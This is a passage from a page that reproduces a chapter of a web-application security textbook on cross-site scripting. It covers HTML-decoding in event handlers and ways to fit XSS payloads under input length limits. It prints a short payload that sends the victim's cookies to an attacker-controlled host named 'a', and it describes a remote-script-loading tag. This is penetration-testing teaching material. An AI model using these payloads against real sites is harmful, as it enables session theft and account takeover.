19.09.2017 Views

the-web-application-hackers-handbook

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Chapter 12 n Attacking Users: Cross-Site Scripting 471<br />

The fact that event handlers are HTML-decoded before being executed as<br />

JavaScript represents an important caveat to <strong>the</strong> standard recommendation<br />

of HTML-encoding user input to prevent XSS attacks. In this syntactic context,<br />

HTML encoding is not necessarily an obstacle to an attack. The attacker himself<br />

may even use it to circumvent o<strong>the</strong>r defenses.<br />

Beating Length Limits<br />

When <strong>the</strong> <strong>application</strong> truncates your input to a fixed maximum length, you<br />

have three possible approaches to creating a working exploit.<br />

The first, ra<strong>the</strong>r obvious method is to attempt to shorten your attack payload<br />

by using JavaScript APIs with <strong>the</strong> shortest possible length and removing characters<br />

that are usually included but are strictly unnecessary. For example, if you<br />

are injecting into an existing script, <strong>the</strong> following 28-byte command transmits<br />

<strong>the</strong> user’s cookies to <strong>the</strong> server with hostname a:<br />

open(“//a/”+document.cookie)<br />

Alternatively, if you are injecting straight into HTML, <strong>the</strong> following 30-byte<br />

tag loads and executes a script from <strong>the</strong> server with hostname a:<br />

<br />

On <strong>the</strong> Internet, <strong>the</strong>se examples would obviously need to be expanded to<br />

contain a valid domain name or IP address. However, on an internal corporate<br />

network, it may actually be possible to use a machine with <strong>the</strong> WINS name a<br />

to host <strong>the</strong> recipient server.<br />

TIP You can use Dean Edwards’ JavaScript packer to shrink a given script as<br />

much as possible by eliminating unnecessary whitespace. This utility also converts<br />

scripts to a single line for easy insertion into a request parameter:<br />

http://dean.edwards.name/packer/<br />

The second, potentially more powerful technique for beating length limits<br />

is to span an attack payload across multiple different locations where usercontrollable<br />

input is inserted into <strong>the</strong> same returned page. For example, consider<br />

<strong>the</strong> following URL:<br />

https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal<br />

It returns a page containing <strong>the</strong> following:<br />

<br />

<br />

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!